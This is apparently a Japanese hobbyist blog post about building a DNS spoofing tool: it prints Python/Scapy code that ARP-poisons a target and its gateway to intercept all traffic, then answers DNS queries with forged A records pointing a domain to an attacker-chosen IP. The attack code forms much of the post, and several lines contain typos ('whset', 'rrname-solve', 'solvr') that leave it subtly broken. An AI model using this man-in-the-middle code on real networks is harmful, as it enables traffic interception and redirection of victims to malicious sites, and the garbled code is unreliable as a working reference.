DNS詐称プログラムを作って失敗した話
はじめに
去年の9月ごろに思い付きで始めて放置してたネタをつい先日(一週間以上前)のLTで
発表するために少し改善しようかなと思った時に失敗した・できなかったことのまとめです。まだ未完成なので限られた環境内でハカー気分を味わいたい方には良いかなという感じです。
全体の構成
まず、どういったものなのかの部分ですが、大雑把に言うとDNSのレコード(ここではAレコードを指します)を改ざんして任意のサイトに誘導しよう、というものです。DNSを利用した攻撃手法にDNSキャッシュポイズニングがありますが、攻撃が成功した時に与えられる被害は大きいものの、キャッシュサーバのキャッシュ汚染が面倒なのと僕がまだいまいち理解しきれていない部分が多いのでパスしました。
DNSのレコードを改ざんする前段階として、ARPスプーフィングを行うことで攻撃対象のゲートウェイ(以下GW)情報を改ざんし、すべてのトラフィックを攻撃用マシンへ送信されるようにします。
全トラフィックを取得できるということは、当然DNSリクエストも含まれているはずなので正規のレスポンスが返る前に加工したDNSレスポンスを返すことができればDNSレコードも改ざんできるはず、という感じです。
今回作成したプログラムは以下に投げてあります。
ARPスプーフィング
まず初めに、ARPスプ―フィングを行うためのプログラムについてです。
具体的には、GWのIPアドレスと攻撃用マシンのMACアドレスを含めた
ARPレスポンスを攻撃対象へひたすら投げ続けるという処理のみを行います。
正常なARPテーブル
スプーフィングを行ったARPテーブル
以下はスプーフィングを行うための処理部分です
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac, stop_event): poison_target = ARP() poison_target.op = 2 poison_target.psrc = gateway_ip poison_target.pdst = target_ip poison_target.whset = target_mac poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = target_ip poison_gateway.pdst = gateway_ip poison_gateway.hwset = gateway_mac print "[*] Beginnnig the ARP poison. [CTRL-C to stop]" while True: send(poison_target) send(poison_gateway) if stop_event.wait(2): break print "[*] ARP poison attack finished." return
また、後処理として正規のARPレスポンスを送信することで正常なARPテーブルへ戻すようにしています。
def restore_target(geteway_ip, gateway_mac, target_ip, target_mac): print "[*] Restoring target..." send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5) send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)
DNSポイズニング
この処理をDNSポイズニングと呼ぶにふさわしいかはさておき、この場ではDNSポイズニングと呼ぶことにします。 上記のARPスプーフィングを行ってトラフィックを攻撃用マシンへ流れるようにしたので、Scapyを利用してパケットを解析して その中からDNSリクエストのみを検知し、DNSレスポンスを送信してやります。なお、DNSリクエストは特にいじらずにそのままドロップします。 DNSリクエストの検知処理ですが、DNSリクエストは基本的にUDPの53番ポート宛に送信されるので、その条件に一致したパケットをDNSリクエストであると判断して行っています。 また、DNSレスポンスでは名前解決を行った結果に偽装して任意のIPアドレスを含めたものを生成して送信しています。
以下はその処理を行う処理部分です。
def dns(pkt, qname='google.com'): print "DNS" ip = IP() udp = UDP() ip.src = pkt[IP].dst ip.dst = pkt[IP].src udp.sport = pkt[UDP].dport udp.dport = pkt[UDP].sport solve = '192.168.0.44' qd = pkt[UDP].payload dns = DNS(id = qd.id, qr=1, qdcount=1, ancount=1, nscount=1, rnode=0) dns.qd = qd[DNSQR] dns.an = DNSRR(rrname=qname, ttl=3600, rdlen=4, rdata=solve) dns.an = DNSRR(rrname=qname, ttl=3600, rdlen=4, rdata=solve) dns.ar = DNSRR(rrname-solve, ttl=3600, rdlen=4, rdata=solvr) print "%s => %S" % (ip.dst, udp.dport) send(ip/udp/dns)
qname という部分は名前解決を行うドメイン名で、solve部分がそのドメイン名と結び付けたいIPアドレスを表しています。 その他はDNSレスポンスのひな型通りに生成する処理とsendで送信しています。
余談ですが、送信者がpingを行う際にリクエストを送信した時に問い合わせと別のドメイン名をqnameに含めてレスポンスを送信すると、 受信者側のpingを送信している対象名が変わってしまうようです。
正常なAレコード
ポイズニングを行ったAレコード
改善点と失敗したこと
このプログラムはGithubを見てもわかる通り、別々のツールとして稼働させなければいけないことと、攻撃用マシンにルーティング機能がないという問題があり、まずこの問題を解決する必要がありました。ということで、この問題を解決するためにルータを実装することにしました…が、うまくいかず、結局実装することはできませんでした。 なので、次はOpenFlowでルータ自体を改良してDNSポイズニングを行うと思ったのですが、どうやらうまくOpenFlowスイッチとして機能させることができないようなので完全に積んだところであきらめました。
ということで、今回の実験はここまでにしようと思います。もし問題を解決出来たらまた書こうかなと思いますが、たぶんやらないかな… もし解決出来たら是非教えていただきたいです。